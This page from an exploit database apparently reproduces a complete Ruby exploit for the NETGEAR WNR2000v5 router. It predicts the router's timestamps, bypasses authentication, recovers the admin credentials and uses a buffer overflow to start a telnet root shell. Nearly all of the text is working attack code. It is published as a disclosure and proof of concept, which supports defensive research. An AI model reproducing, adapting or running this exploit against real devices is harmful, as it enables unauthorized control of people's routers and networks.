Lucene search
K

NETGEAR WNR2000v5 - Remote Code Execution Exploit

🗓️ 21 Dec 2016 00:00:00Reported by Pedro RibeiroType 
zdt
 zdt
🔗 0day.today👁 43 Views

Remote Code Execution in NETGEAR WNR2000v5 by Pedro Ribeir

Code
#
# Source: https://raw.githubusercontent.com/pedrib/PoC/master/exploits/netgearPwn.rb
#
# Remote code execution in NETGEAR WNR2000v5
# - by Pedro Ribeiro ([email protected]) / Agile Information Security
# Released on 20/12/2016
#
# NOTE: this exploit is "alpha" quality, however the bof method should work fine both with or without reboot.
#       A more reliable Metasploit module will be released soon.
#
#
# TODO:
# - test default credentials first (with correct and incorrect password, see if auth can be used by default with incorrect password)
# - finish telnetenable (get mac and send packet)
# - finish timestamp regex (?)
# - randomise payload
 
require 'net/http'
require 'uri'
require 'time'
 
####################
# ported from https://git.uclibc.org/uClibc/tree/libc/stdlib/random.c
# and https://git.uclibc.org/uClibc/tree/libc/stdlib/random_r.c
 
TYPE_3 = 3
BREAK_3 = 128
DEG_3 = 31
SEP_3 = 3
 
@randtbl =
[
  # we omit TYPE_3 from here, not needed
  -1726662223, 379960547, 1735697613, 1040273694, 1313901226,
  1627687941, -179304937, -2073333483, 1780058412, -1989503057,
  -615974602, 344556628, 939512070, -1249116260, 1507946756,
  -812545463, 154635395, 1388815473, -1926676823, 525320961,
  -1009028674, 968117788, -123449607, 1284210865, 435012392,
  -2017506339, -911064859, -370259173, 1132637927, 1398500161,
  -205601318,
]
 
@unsafe_state = { 
  "fptr" => SEP_3,
  "rptr" => 0,
  "state" => 0,
  "rand_type" => TYPE_3,
  "rand_deg" => DEG_3,
  "rand_sep" => SEP_3,
  "end_ptr" => DEG_3
}
 
# Emulate the behaviour of C's srand
def srandom_r (seed)
  state = @randtbl
  if seed == 0
    seed = 1
  end
  state[0] = seed
   
  dst = 0
  word = seed
  kc = DEG_3
  for i in 1..(kc-1)
    hi = word / 127773
    lo = word % 127773
    word = 16807 * lo - 2836 * hi
    if (word < 0)
      word += 2147483647
    end
    dst += 1
    state[dst] = word
  end
   
  @unsafe_state['fptr'] = @unsafe_state['rand_sep']
  @unsafe_state['rptr'] = 0
   
  kc *= 10
  kc -= 1
  while (kc >= 0)
    random_r
    kc -= 1
  end
end
   
# Emulate the behaviour of C's rand  
def random_r
  buf = @unsafe_state
  state = buf['state']
   
  fptr = buf['fptr']
  rptr = buf['rptr']
  end_ptr = buf['end_ptr']
  val = @randtbl[fptr] += @randtbl[rptr]
   
  result = (val >> 1) & 0x7fffffff
  fptr += 1
  if (fptr >= end_ptr)
    fptr = state
    rptr += 1
  else
    rptr += 1
    if (rptr >= end_ptr)
      rptr = state
    end
  end
  buf['fptr'] = fptr
  buf['rptr'] = rptr
   
  result
end
#####################
 
#####################
# Ruby code ported from https://github.com/insanid/netgear-telenetenable
# 
def telnetenable (mac, username, password)
  mac_pad = mac.gsub(':', '').upcase.ljust(0x10,"\x00")
  username_pad = username.ljust(0x10, "\x00")
  password_pad = password.ljust(0x21, "\x00")
  cleartext = (mac_pad + username_pad + password_pad).ljust(0x70, "\x00")
 
  md5 = Digest::MD5.new
  md5.update(cleartext)
  payload = (md5.digest + cleartext).ljust(0x80, "\x00").unpack('N*').pack('V*')
 
  secret_key = "AMBIT_TELNET_ENABLE+" + password
  cipher = OpenSSL::Cipher::Cipher.new("bf-ecb").send :encrypt
  cipher.key_len = secret_key.length
  cipher.key = secret_key
  cipher.padding = 0
  binary_data = (cipher.update(payload) << cipher.final)
 
  binary_data.unpack('N*').pack('V*')
end
#####################
 
# Do some crazyness to force Ruby to cast to a single-precision float and
# back to an integer.
# This emulates the behaviour of the soft-fp library and the float cast
# which is done at the end of Netgear's timestamp generator.
def ieee754_round (number)
  [number].pack('f').unpack('f*')[0].to_i
end
 
 
# This is the actual algorithm used in the get_timestamp function in
# the Netgear firmware.
def get_timestamp(time)
  srandom_r time
  t0 = random_r
  t1 = 0x17dc65df;
  hi = (t0 * t1) >> 32;
  t2 = t0 >> 31;
  t3 = hi >> 23;
  t3 = t3 - t2;
  t4 = t3 * 0x55d4a80;
  t0 = t0 - t4;
  t0 = t0 + 0x989680;
 
  ieee754_round(t0)
end
 
# Default credentials for the router
USERNAME = "admin"
PASSWORD = "password"
 
def get_request(uri_str)
  uri = URI.parse(uri_str)
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request.basic_auth(USERNAME, PASSWORD)
  request = Net::HTTP::Get.new(uri.request_uri)
  http.request(request)
end
 
def post_request(uri_str, body)
  uri = URI.parse(uri_str)
  header = { 'Content-Type' => 'application/x-www-form-urlencoded' }
  http = Net::HTTP.new(uri.host, uri.port)
  #http.set_debug_output($stdout)
  request.basic_auth(USERNAME, PASSWORD)
  request = Net::HTTP::Post.new(uri.request_uri, header)
  request.body = body
  http.request(request)
end
 
def check
  response = get_request("http://#{@target}/")
  auth = response['WWW-Authenticate']
  if auth != nil
    if auth =~ /WNR2000v5/
      puts "[+] Router is vulnerable and exploitable (WNR2000v5)."
      return
    elsif auth =~ /WNR2000v4/ || auth =~ /WNR2000v3/
      puts "[-] Router is vulnerable, but this exploit might not work (WNR2000v3 or v4)."
      return
    end
  end
  puts "Router is not vulnerable."
end
 
def get_password
  response = get_request("http://#{@target}/BRS_netgear_success.html")
  if response.body =~ /var sn="([\w]*)";/
    serial = $1
  else
    puts "[-]Failed to obtain serial number, bailing out..."
    exit(1)
  end
   
  # 1: send serial number
  response = post_request("http://#{@target}/apply_noauth.cgi?/unauth.cgi", "submit_flag=match_sn&serial_num=#{serial}&continue=+Continue+")
 
  # 2: send answer to secret questions
  response = post_request("http://#{@target}/apply_noauth.cgi?/securityquestions.cgi", \
    "submit_flag=security_question&answer1=secretanswer1&answer2=secretanswer2&continue=+Continue+")
   
  # 3: PROFIT!!!
  response = get_request("http://#{@target}/passwordrecovered.cgi")
   
  if response.body =~ /Admin Password: (.*)<\/TD>/
    password = $1
  else
    puts "[-] Failed to obtain admin password, bailing out..."
    exit(1)
  end
   
  if response.body =~ /Admin Username: (.*)<\/TD>/
    username = $1
  else
    puts "[-] Failed to obtain admin username, bailing out..."
    exit(1)
  end
   
  puts "[+] Success! Got admin username #{username} and password #{password}"
  return [username, password]
end
 
def get_current_time
  response = get_request("http://#{@target}/")
 
  date = response['Date']
  Time.parse(date).strftime('%s').to_i
end
 
def get_auth_timestamp(mode)
  if mode == "bof"
    uri_str = "lang_check.html"
  else
    uri_str = "PWD_password.htm"
  end
  response = get_request(uri_str)
  if response.code == 401
    # try again, might fail the first time
    response = get_request(uri_str)
    if response.code == 200
      if response.body =~ /timestamp=([0-9]{8})/
        $1.to_i
      end
    end
  end
end
 
def got_shell
  puts "[+] Success, shell incoming!"
  exec("telnet #{@target.split(':')[0]}")   
end
 
if ARGV.length < 2
  puts "Usage: ./netgearPwn.rb <IP:PORT> <check|sploit|telnet> [noreboot]"
  puts "\tcheck: see if the target is vulnerable"
  puts "\tbof: run buffer overflow exploit on the target"
  puts "\ttelnet: run telnet exploit on the target - DO NOT USE FOR NOW, DOESN'T WORK!"
  puts "\tnoreboot: optional parameter - don't force a reboot on the target"
  exit(1)
end
 
@target = ARGV[0]
mode = ARGV[1]
 
if ARGV.length == 3 && ARGV[2] == "noreboot"
  reboot = false
else
  reboot = true
end
 
# Maximum time differential to try
# Look 5000 seconds back for the timestamp with reboot
# 500000 with no reboot
if reboot
  TIME_OFFSET = 5000
else
  TIME_OFFSET = 500000
end
 
# Increase this if you're sure the device is vulnerable and you're not getting a shell
TIME_SURPLUS = 200
 
if mode == "check"
  check
  exit(0)
end
 
if mode == "bof"
  def uri_encode (str)
    "%" + str.scan(/.{2}|.+/).join("%")
  end
 
  def calc_address (libc_base, offset)
    addr = (libc_base + offset).to_s(16)
    uri_encode(addr)
  end
   
  system_offset = 0x547D0
  gadget = 0x2462C
  libc_base = 0x2ab24000
   
  payload = 'a' * 36 +                                                                 # filler_1
    calc_address(libc_base, system_offset) +                                           # s0
    '1111' +                                                                           # s1
    '2222' +                                                                           # s2
    '3333' +                                                                           # s3
    calc_address(libc_base, gadget) +                                                  # gadget
    'b' * 0x40 +                                                                       # filler_2
    "killall telnetenable; killall utelnetd; /usr/sbin/utelnetd -d -l /bin/sh"         # payload
end
 
# 0: try to see if the default admin username and password are set
timestamp = get_auth_timestamp(mode)
 
# 1: reboot the router to get it to generate new timestamps
if reboot and timestamp == nil
  response = post_request("http://#{@target}/apply_noauth.cgi?/reboot_waiting.htm", "submit_flag=reboot&yes=Yes")
  if response.code == "200"
    puts "[+] Successfully rebooted the router. Now wait two minutes for the router to restart..."
    sleep 120
    puts "[*] Connect to the WLAN or Ethernet now. You have one minute to comply."
    sleep 60
  else
    puts "[-] Failed to reboot the router. Bailing out."
    exit(-1)
  end
 
  puts "[*] Proceeding..."
end
 
# 2: get the current date from the router and parse it, but only if we are not authenticated...
if timestamp == nil
  end_time = get_current_time
  if end_time <= TIME_OFFSET
    start_time = 0
  else
    start_time = end_time - TIME_OFFSET
  end
  end_time += TIME_SURPLUS
 
  if end_time < (TIME_SURPLUS * 7.5).to_i
    end_time = (TIME_SURPLUS * 7.5).to_i
  end
 
  puts "[+] Got time #{end_time} from router, starting exploitation attempt."
  puts "[*] Be patient, this might take up a long time (typically a few minutes, but maybe an hour or more)."
end
     
if mode == "bof"
  uri_str = "http://#{@target}/apply_noauth.cgi?/lang_check.html%20timestamp="
  body = "submit_flag=select_language&hidden_lang_avi=#{payload}"
else
  uri_str = "http://#{@target}/apply_noauth.cgi?/PWD_password.htm%20timestamp="
  body = "submit_flag=passwd&hidden_enable_recovery=1&Apply=Apply&sysOldPasswd=&sysNewPasswd=&sysConfirmPasswd=&enable_recovery=on&question1=1&answer1=secretanswer1&question2=2&answer2=secretanswer2"
end 
 
# 3: work back from the current router time minus TIME_OFFSET
while true
  for time in end_time.downto(start_time)
    begin
      if timestamp == nil
        response = post_request(uri_str + get_timestamp(time).to_s, body)
      else
        response = post_request(uri_str + timestamp.to_s, body)
      end
      if response.code == "200"
        # this only occurs in the telnet case
        credentials = get_password
        #telnetenable(mac, credentials[0], credentials[1])
        #sleep 5
        #got_shell
        puts "Done! Got admin username #{credentials[0]} and password #{credentials[1]}"
        puts "Use the telnetenable.py script (https://github.com/insanid/netgear-telenetenable) to enable telnet, and connect to port 23 to get a root shell!"
        exit(0)
      end
    rescue EOFError
      if reboot
        sleep 0.2
      else
        # with no reboot we give the router more time to breathe
        sleep 0.5
      end
      begin
        s = TCPSocket.new(@target.split(':')[0], 23)
        s.close
        got_shell
      rescue Errno::ECONNREFUSED
        if timestamp != nil
          # this is the case where we can get an authenticated timestamp but we could not execute code
          # IT SHOULD NEVER HAPPEN
          # But scream and continue just in case, it means there is a bug
          puts "[-] Something went wrong. We can obtain the timestamp with the default credentials, but we could not execute code."
          puts "[*] Let's try again..."
          timestamp = get_auth_timestamp
        end
        next
      end
    rescue Net::ReadTimeout
      # for bof case, we land here
      got_shell
    end
  end
  if timestamp == nil
    start_time = end_time - (TIME_SURPLUS * 5)
    end_time = end_time + (TIME_SURPLUS * 5)
    puts "[*] Going for another round, increasing end time to #{end_time} and start time to #{start_time}"
  end
end
 
# If we get here then the exploit failed
puts "[-] Exploit finished. Failed to get a shell!"

#  0day.today [2018-03-01]  #

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation